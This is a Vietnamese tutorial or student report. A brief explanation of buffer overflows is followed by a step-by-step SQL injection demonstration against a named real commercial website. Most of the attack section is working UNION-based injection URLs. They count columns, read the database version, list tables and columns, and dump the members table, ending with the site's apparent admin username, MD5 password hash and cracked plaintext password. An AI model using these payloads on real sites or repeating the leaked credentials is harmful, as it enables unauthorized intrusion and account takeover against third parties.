Tràn bộ đệm là một tình trạng xảy ra khi dữ liệu được gởi quá nhiều so với khả năng xử lý của hệ thống hay CPU. Nếu hacker khai thác tình trạng tràn bộ đệm này thì họ có thể làm cho hệ thống bị tê liệt hoặc làm cho hệ thống mất khả năng kiểm soát.
Để khai thác được việc này, hacker cần biết kiến thức về tổ chức bộ nhớ, stack, các lệnh gọi hàm. Shellcode.
Khi hacker khai thác lỗi tràn bộ đệm trên một hệ thống, họ có thể đoạt quyền root trên hệ thống đó. Đối với nhà quản trị, tránh việc tràn bộ đệm không mấy khó khăn, họ chỉ cần tạo các chương trình an toàn ngay từ khi thiết kế.
CHƯƠNG III: DEMO SQL Injection
1. Trang web tấn công.
http://www.beemabuild.co.uk
2. Các bước tấn công:
B1. Truy cập theo link dưới để vào phần lổ hổng SQL Injection của
trang web (ở đây là tại Product)
B2.order by
Order by được sử dụng để làm gì : -Làm tiết kiệm thời gian attack.
-Nó được sử dụng để tính số field ,column có trong CSDL SQL
Bắt đầu tiến hành ORDER BY từ 1 và tăng dần.
http://www.beemabuild.co.uk/view_product.php?id=217 order by 1—
http://www.beemabuild.co.uk/view_product.php?id=217 order by 2—
http://www.beemabuild.co.uk/view_product.php?id=217 order by 3—
Khi ta ORDER BY 4 thì web bắt đầu hiện lỗi “Unknown column '4' in 'order clause'”:
http://www.beemabuild.co.uk/view_product.php?id=217 order by 4—
CSDL có 3 trường.
B3.Tìm kiếm trường bị lỗi:
http://www.beemabuild.co.uk/view_product.php?id=217 union SELECT 1,2,3 —
Truy cập vào link trên trang web hiện lên không có gì thay đổi nhưng thực chất trường bị lỗi đã được tìm thấy nhưng ở trang web này ta không thể thấy được trường bị lỗi đó. Và ta làm như sau: Right click vào cái hình không hiển thị được ở trang Web chọn “lưu hình ảnh thành”
Sau khi click ta quan sát tại ô File name ta thấy tên 3.htm đó chính là trường bị lỗi 3 (hình dưới)
kết quả thu dc bằng 3 vậy trường bị lỗi là số 3.
B4.Xem phiên bản của database
Ta thực hiện truy vấn bên dưới:
http://www.beemabuild.co.uk/view_product.php?id=217 union SELECT 1,2,@@version--
Cũng như trên ta chọn “lưu hình ảnh thành” như b3. Ta thu được kết quả 5.5.31-log
Ta đã xác định được là phiên bản lớn hơn 5 ta tiến hành theo các bước dưới( nếu phiên bản 4<version<5 thì dùng CSDL MsAccess-Hack Đoán)
http://www.beemabuild.co.uk/view_product.php?id=217 Union Select 1,2,table_name From Information_schema.tables --
nó sẽ trả về giá trị đầu tiên là: CHARACTER_SETS, để gộp tất cả các table lại cho dễ tìm kiếm thì các bạn dùng hàm Group_concat() Hoặc limit
B5. Tìm tất cả các table trong CSDL ở đây một số trang web sẽ hiện rất
nhiều table (vì nó còn có cả table của hệ thống) nhưng cái ta cần quan tâm là trường chứa các tài khoản của user.
Thực hiện truy vấn:
http://www.beemabuild.co.uk/view_product.php?id=217 Union Select 1,2,group_concat(table_name) From Information_schema.tables where table_schema=database()--
Ta thu được kết quả:
beemabuild_models,beemabuild_pages,beemabuild_products,members
cái ta quan tâm là table members chắc chắn table này chứa tài khoàn admin và các user rồi.
B6. Thực hiện truy vấn dưới tìm các column trong table Members.
http://www.beemabuild.co.uk/view_product.php?id=217 Union Select 1,2,group_concat(column_name) From Information_schema.columns where table_name=(0x6d656d62657273)--
-Dòng 0x6d656d62657273 là số hex của Member (vào trang web www.string- functions.com để chuyển từ string sang hex)
Ta thu được các trường ( cái ta cần quan tâm ở đây là trường Login và Passwd)
member_id,firstname,lastname,login,passwd
B7. Bắt đầu tiến hành tìm tài khoản admin và password.
Thực hiện truy vấn
http://www.beemabuild.co.uk/view_product.php?id=217 Union Select 1,2,concat(login,0x2f,passwd) From members--
ký tự 0x2f là mã hex của dấu / dùng để phân tách tên tài khoan và pass. Ta được hình dưới:
Giờ ta không thể dùng lưu hình ảnh được ta phải right click chọn xem phần tử như trong hình và thu được tài khoản có user name là Admin chuoi pass là 505be7e39328a96ccf09e6ebbf94b83e phân tách nhau bởi dấu “/ “
(Admin/505be7e39328a96ccf09e6ebbf94b83e)
Ta thấy chuỗi pass trên được mã hóa bằng MD5(thường là vậy) Ta truy cập vào trang web www.md5.noisette.ch/index.php
Để dịch pass và kết quả thu được là pass: 005zavBQL